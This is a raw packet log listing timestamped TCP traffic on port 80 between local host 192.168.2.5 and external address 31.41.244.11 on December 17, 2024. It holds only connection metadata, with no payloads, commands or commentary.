Dec 17, 2024 08:03:30.611443043 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.611500025 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.611566067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.611618996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.612330914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.612452984 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.612509012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.613325119 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.613447905 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.613502026 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.614145994 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.614201069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.614270926 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.615081072 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.615134954 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.615200996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.615991116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.616044998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.616097927 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.616152048 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.760761023 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.760857105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.760919094 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.760960102 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.761034012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.761051893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.761830091 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.761898994 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.761991978 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.762743950 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.762814999 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.762831926 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.762883902 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.763425112 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.763535976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.763627052 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.764398098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.764486074 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.764549017 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.765230894 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.765382051 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.765434027 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.766127110 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.766180992 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.766290903 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.767079115 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.767112970 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.767138958 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.767968893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.768029928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.768090010 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.768137932 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.768918991 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.769035101 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.769090891 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.769804001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.769929886 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.769983053 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.770724058 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.770792007 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.770879984 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.771650076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.771704912 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.771740913 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.772546053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.772589922 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.772617102 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.772645950 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.772701025 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.773442984 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.773500919 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.773576975 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.773628950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.774369955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.774425983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.774466038 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.774566889 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.775302887 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.775355101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.775392056 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.775435925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.776238918 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.776293993 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.776302099 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.776345015 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.777153969 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.777271032 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.777319908 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.778032064 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.778132915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.778325081 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.778930902 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.778994083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.779042006 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.779090881 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.779884100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.779937983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.780004978 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.780050039 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.780817032 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.780850887 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.780906916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.781738997 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.781842947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.781896114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.782603979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.782655954 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.782706022 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.783595085 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.783648968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.783689976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.784468889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.784527063 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.784574986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.785486937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.785506964 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.785540104 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.785552025 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.786292076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.786343098 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.786392927 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.786438942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.787180901 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.787229061 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.787267923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.787317991 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.788136959 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.788187027 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.788219929 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.788264990 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.789014101 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.789135933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.789191008 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.789952040 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.790065050 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.790113926 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.790874958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.790927887 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.790977955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.792582035 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.792911053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.792939901 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.792954922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.792960882 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.792973995 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.792987108 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.793054104 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.793097973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.793617964 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.793658972 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.793749094 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.794538975 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.794590950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.794636011 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.795464039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.795522928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.795572042 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.795631886 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.796420097 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.796586990 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.796647072 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.796700954 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.797271967 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.797328949 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.797513008 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.797565937 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.798228979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.798285961 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.798346996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.798394918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.799145937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.799202919 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.799248934 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.799298048 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.800090075 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.800143003 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.800206900 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.800261021 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.801105976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.801193953 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.801250935 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.801884890 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.802001953 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.802058935 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.802778006 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.802833080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.802892923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.803690910 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.803751945 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.803807974 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.804589987 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.804621935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.804693937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.804747105 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.805536032 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.805655003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.805712938 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.806442976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.806515932 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.806554079 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.807384014 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.807439089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.807451010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.808269978 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.808331966 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.808378935 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.808435917 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.953022957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.953104973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.953119993 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.953172922 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.953391075 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.953499079 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.953596115 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.953680992 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.953742981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.954533100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.954607010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.954672098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.954724073 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.955437899 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.955496073 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.955568075 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.955624104 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.956335068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.956402063 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.956454039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.956516027 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.957258940 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.957344055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.957406044 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.957462072 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.958215952 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.958306074 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.958372116 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.959093094 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.959220886 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.959280968 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.960031986 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.960087061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.960139990 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.960921049 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.961064100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.961126089 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.961817980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.961929083 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.961968899 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.961997032 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.962865114 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.962924957 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.962929010 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.962981939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.963661909 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.963720083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.963797092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.963865042 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.964627028 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.964689016 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.964730978 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.964786053 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.965543985 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.965610981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.965637922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.965985060 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.966428041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.966480970 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.966589928 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.966640949 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.967355013 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.967412949 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.967474937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.967525005 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.968283892 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.968341112 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.968404055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.968466043 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.969165087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.969227076 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.969286919 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.969336987 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.970082998 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.970151901 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.970212936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.970266104 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.970992088 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.971055984 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.971117973 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.971468925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.971908092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.972035885 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.972093105 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.972830057 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.972892046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.972968102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.973036051 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.973825932 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.973861933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.973891973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.973925114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.974647999 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.974742889 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.974778891 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.974823952 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.975543022 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.975595951 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.975650072 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.975697041 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.976492882 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.976542950 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.976607084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.977417946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.977468967 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.977538109 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.978302956 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.978354931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.978421926 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.978470087 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.979222059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.979367971 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.979418039 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.980138063 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.980261087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.980309010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.981131077 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.981185913 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.981230974 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.981961012 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.982011080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.982076883 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.982896090 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.982947111 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.983014107 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.983175993 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.983812094 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.983885050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.983922958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.983968973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.984761953 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.984812021 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.984908104 CET	80	49867	31.41.244.11	192.168.2.5
